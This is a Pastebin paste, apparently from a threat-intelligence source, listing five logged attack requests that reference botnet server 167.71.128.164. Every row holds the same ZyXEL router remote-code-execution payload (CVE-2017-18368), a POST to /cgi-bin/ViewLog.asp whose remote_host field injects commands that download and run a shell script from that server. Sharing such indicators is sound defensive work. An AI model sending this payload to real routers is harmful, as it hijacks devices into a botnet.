Advertisement
internetweather

Exploit attempts referencing botnet C2 167.71.128.164

Aug 10th, 2019
2,193
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.67 KB | None | 0 0
  1. Source IP Country User Agent Payload POST_Data Target Port Bad Packets® Tag FirstSeen LastSeen
  2. 51.254.165.64 France Ankit POST /cgi-bin/ViewLog.asp HTTP/1.1 " remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://167.71.128.164/rep/zyxel.sh;chmod+777+zyxel.sh;./zyxel.sh;rm+-rf" 80 ZyXEL RCE | Router | CVE-2017-18368 2019-08-06T18:34:11Z 2019-08-10T08:58:01Z
  3. 123.7.114.50 China Ankit POST /cgi-bin/ViewLog.asp HTTP/1.1 " remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://167.71.128.164/rep/zyxel.sh;chmod+777+zyxel.sh;./zyxel.sh;rm+-rf" 80 ZyXEL RCE | Router | CVE-2017-18368 2019-08-05T06:42:26Z 2019-08-08T13:09:41Z
  4. 186.42.187.106 Ecuador Ankit POST /cgi-bin/ViewLog.asp HTTP/1.1 " remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://167.71.128.164/rep/zyxel.sh;chmod+777+zyxel.sh;./zyxel.sh;rm+-rf" 80 ZyXEL RCE | Router | CVE-2017-18368 2019-08-07T07:55:53Z 2019-08-07T07:55:53Z
  5. 51.254.165.65 France Ankit POST /cgi-bin/ViewLog.asp HTTP/1.1 " remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://167.71.128.164/rep/zyxel.sh;chmod+777+zyxel.sh;./zyxel.sh;rm+-rf" 80 ZyXEL RCE | Router | CVE-2017-18368 2019-08-07T04:25:02Z 2019-08-07T04:25:02Z
  6. 219.137.66.32 China Ankit POST /cgi-bin/ViewLog.asp HTTP/1.1 " remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://167.71.128.164/rep/zyxel.sh;chmod+777+zyxel.sh;./zyxel.sh;rm+-rf" 80 ZyXEL RCE | Router | CVE-2017-18368 2019-08-03T00:32:48Z 2019-08-03T00:32:48Z
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement